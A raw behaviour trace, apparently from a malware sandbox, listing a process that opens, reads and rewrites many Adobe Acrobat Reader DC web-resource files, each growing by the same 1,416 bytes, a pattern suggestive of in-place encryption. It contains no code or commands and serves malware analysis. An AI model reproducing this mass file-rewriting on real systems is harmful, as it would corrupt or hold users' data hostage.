File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\zh-tw\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\zh-tw\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\zh-tw\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\eu-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\eu-es\ui-strings.js, size = 8022, size_out = 8022	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\eu-es\ui-strings.js, size = 9438	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\nl-nl\ui-strings.js, size = 8070, size_out = 8070	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\nl-nl\ui-strings.js, size = 9486	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ui-strings.js, size = 1216, size_out = 1216	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ui-strings.js, size = 2632	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\bg_pattern_RHP.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\bg_pattern_RHP.png, size = 179, size_out = 179	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\bg_pattern_RHP.png, size = 1595	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\icons.png, size = 8063, size_out = 8063	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\icons.png, size = 9479	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\de-de\ui-strings.js, size = 1938, size_out = 1938	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\de-de\ui-strings.js, size = 3354	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\hu-hu\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\hu-hu\ui-strings.js, size = 1905, size_out = 1905	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\hu-hu\ui-strings.js, size = 3321	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ru-ru\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ru-ru\ui-strings.js, size = 2427, size_out = 2427	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ru-ru\ui-strings.js, size = 3843	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\selector.js, size = 3115, size_out = 3115	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\selector.js, size = 4531	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\rhp_world_icon_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\rhp_world_icon_2x.png, size = 552, size_out = 552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\rhp_world_icon_2x.png, size = 1968	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\es-es\ui-strings.js, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\es-es\ui-strings.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\es-es\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\es-es\ui-strings.js, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\ui-strings.js, size = 1050, size_out = 1050	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\ui-strings.js, size = 2466	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\cpdf\selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\cpdf\selector.js, size = 2452, size_out = 2452	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\cpdf\selector.js, size = 3868	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\rhp_world_icon_hover_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\rhp_world_icon_hover_2x.png, size = 552, size_out = 552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\rhp_world_icon_hover_2x.png, size = 1968	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\de-de\ui-strings.js, size = 1151, size_out = 1151	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\de-de\ui-strings.js, size = 2567	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\it-it\ui-strings.js, size = 1138, size_out = 1138	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\it-it\ui-strings.js, size = 2554	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sk-sk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sk-sk\ui-strings.js, size = 1168, size_out = 1168	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sk-sk\ui-strings.js, size = 2584	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\plugins\rhp\combinepdf-tool-view.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\plugins\rhp\combinepdf-tool-view.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\plugins\rhp\combinepdf-tool-view.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\plugins\rhp\combinepdf-tool-view.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\example_icons2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\example_icons2x.png, size = 1185, size_out = 1185	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\example_icons2x.png, size = 2601	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\en-il\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\en-il\ui-strings.js, size = 1200, size_out = 1200	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\en-il\ui-strings.js, size = 2616	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ko-kr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ko-kr\ui-strings.js, size = 1226, size_out = 1226	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ko-kr\ui-strings.js, size = 2642	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sv-se\ui-strings.js, size = 1212, size_out = 1212	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sv-se\ui-strings.js, size = 2628	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\css\main-selector.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\css\main-selector.css, size = 802, size_out = 802	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\css\main-selector.css, size = 2218	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\eu-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\eu-es\ui-strings.js, size = 1330, size_out = 1330	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\eu-es\ui-strings.js, size = 2746	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\nl-nl\ui-strings.js, size = 1376, size_out = 1376	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\nl-nl\ui-strings.js, size = 2792	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ui-strings.js, size = 1204, size_out = 1204	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ui-strings.js, size = 2620	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\css\main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\css\main.css, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\css\main.css, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\css\main.css, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\css\main.css, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\en-il\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\en-il\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\en-il\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\en-il\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ko-kr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ko-kr\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ko-kr\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ko-kr\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\sv-se\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\sv-se\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\sv-se\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\example_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\example_icons.png, size = 683, size_out = 683	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\example_icons.png, size = 2099	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\themes\dark\rhp_world_icon_hover.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\themes\dark\rhp_world_icon_hover.png, size = 388, size_out = 388	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\themes\dark\rhp_world_icon_hover.png, size = 1804	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\eu-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\eu-es\ui-strings.js, size = 1316, size_out = 1316	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_Checkmark_White@1x.png, size = 2732	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\nl-nl\ui-strings.js, size = 1291, size_out = 1291	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\nl-nl\ui-strings.js, size = 2707	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ui-strings.js, size = 1105, size_out = 1105	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ui-strings.js, size = 2521	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\css\main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\css\main.css, size = 4718, size_out = 4718	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\css\main.css, size = 6134	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_2x.png, size = 552, size_out = 552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_2x.png, size = 1968	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\eu-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\eu-es\ui-strings.js, size = 1193, size_out = 1193	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\eu-es\ui-strings.js, size = 2609	1	Fn Data
